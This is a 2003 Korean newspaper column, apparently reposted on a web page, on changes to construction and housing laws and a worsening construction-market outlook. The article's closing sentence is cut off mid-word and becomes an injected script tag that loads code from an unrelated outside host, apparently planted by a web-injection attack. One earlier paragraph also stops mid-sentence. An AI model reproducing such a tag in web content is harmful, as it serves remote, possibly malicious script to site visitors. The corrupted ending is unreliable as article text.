전체메뉴

언론기고

건설관련 법령 변화와 건설시장 전망

보도일자 2003-09-06

보도기관 산업저널

우리 국내 경제는 세계 경제의 동반 침체 등으로 인해 좀처럼 침체에서 벗어나지 못하고 있다. 건설 및 부동산시장도 예외는 아니어서 작년의 주택부문 호황을 제외하면 앞으로의 전망이 그다지 밝지 않은 편이다.

이런 가운데 작년에 이어 올해도 건설관련 법령의 제·개정은 적지 않았다. 특히 주택건설분야의 변화가 가장 큰 편이라고 할 수 있지만, 하반기 개정을 앞두고 있는 국가계약법령도 건설업계의 비상한 주목을 끌고 있다. 모든 제도의 개선을 위한 논의가 법령으로 현재화될 때 비로소 구체적 생명력을 가진다는 점을 감안하면, 최근의 건설관련 법령에 관한 변화의 흐름은 향후 건설시장의 새로운 틀을 형성하기 위한 주춧돌의 성격을 가진다고 할 수 있다.

법령 변화를 구체적으로 살펴보면, 작년에 제정된 ''국토기본법'', ''국토의계획및이용에관한법률'', ''도시및주거환경정비법''이 올해 들어 시행되고 있다는 점과 새로운 주택관련 기본법의 탄생이라고까지 할 수 있는 ''주택법(''주택건설촉진법''의 전면 개정)''이 올 상반기에 마무리되었다는 점이 가장 대표적인 변화라고 할 수 있다.

다만, 주택법의 시행시기는 세부적 내용을 담게 될 하위 법령이 확정될 올 11월로 예정되어 있다. 그 밖에 현행 정부공사 입찰제도의 개선을 위한 ''국가계약법령''의 개정작업은 현재 입법예고된 상태로 있지만, 조만간 확정될 것으로 보인다. 개정추진 내용은 최저가낙찰제 대상공사를 현행 1,000억 원이상 PQ대상공사에서 500억 원이상 PQ대상공사까지 확대, 최저가낙찰제의 확대로 인한 덤핑입찰을 방지하기 위하여 저가심의제 도입, PQ제도의 변별력 강화, 설계심의방법의 개선을 통한 턴키입찰제도의 활성화 등이 중심이 되고 있다.

이러한 건설관련 법령의 제·개정에서는 몇 가지 특징이 발견된다. 우선 국토개발에 대한 기본적 시각을 ''선계획 - 후개발''을 기조로 하고 있다는 점이다. 편중개발, 난개발, 환경훼손 등으로 국민의 생활의 질을 떨어뜨린 기존의 개발방식이 비효율적이었다는 점을 인식하여 국토이용 및 관리를 장기적 비전과 계획 하에 보다 체계화하려는 정책적 의지가 반영되고 있다.

다음으로 유사하거나 관련법령간 통합을 통하여 상충되거나 부조화로 인한 문제가 야기되지 않도록 거시적 안목에서의 법제화를 추구하고 있다는 점이다. ''도시계획법''과 ''국토이용관리법''이 통합되어 ''국토의계획및이용에관한법률''로 새로이 태어나고, ''도시재개발법''과 ''주택건설촉진법''중 재건축부분 그리고 ''도시저소득주민의주거환경개선을위한임시조치법''이 통합되어

주택시장이나 건설시장의 근본적 변화 및 시장에서의 요구가 적극적으로 법제에 반영되었다는 점도 간과할 수 없는 특징 중 하나다. 그 동안 공급위주였던 ''주택건설촉진법''이 주거질의 향상을 추구하는 ''주택법''으로 전면 개정된 데서 이러한 특징의 예를 쉽게 찾아볼 수 있다.

건설교통부에 따르면, 올해 들어 지난 7월 말 현재까지 부도를 낸 일반건설업체는 64개 사로 작년 같은 기간과 비교할 때 137% 늘어났다고 한다. 이러한 현상은 각종 건설경기 예고 지표가 하향곡선을 그리는 등 경기침체가 예상되면서 자금조달 여건이 악화되고 있기 때문인 것으로 풀이되고 있다. 갖가지 자료에서도 알 수 있듯이, 향후 건설시장은 현재보다 어려움이 가중되리라는 것은 ''불 보듯 뻔하다''. 건설업계는 IMF 외환위기 이후 가장 큰 위기를 맞이하고 있다는 이야기도 나온다.

이런 가운데 새로운 건설관련 법령의 제·개정은 과거보다 시장의 투명성과 시장참여자의 공정한 경쟁을 유도하는 내용을 담고 있지만, 과거와 비교할 때 규제가 강화된 측면이 적지 않고 과도기적 현상에 따르는 시행착오 등으로 인해 건설시장을 더욱 위축시키고 있다.

그나마 활기를 띄고 있었던 주택건설분야도 새로운 법령의 제·개정으로 투기거래지역의 지정고시, 분양권 전매 제한, 재건축사업에 부분 후분양제 도입, 안전진단절차의 강화 등이 시행되면서 향후 전망이 그다지 밝지 않다.

그러나 현재의 어려움은 세계적인 경제불황과 국내 경기전반의 침체와 맞물려 있다는 점에서 이미 예견되었던 바이므로, 건설업계는 장기적 전망과 전략 하에서 새로운 법령의 내용과 시장에의 영향을 분석하여 능동적으로 헤쳐나가지 않으면 안된다. 힘들다고 넋 놓고 있은 들 더욱 더 치열해지는 생존경쟁의 냉혹한 현실이 스스로 비껴갈 리는 만무하기 때문이다.

새로운 건설관련 법령은 그 동안의 부당 관행과 무질서를 도려내고 시장참여자 모두가 공정한 룰(rule)하에서 활동할 수 있는 터를 마련하였다는 점에서 긍정적 기능이 훨씬 클 것으로 본다. 건설업계가 건설관련 법령의 제·개정을 계기로 지금의 위기상황을 도약의 기회로 삼아 헤쳐 나간다면 오히려 전?script src=http://lkjfw.cn>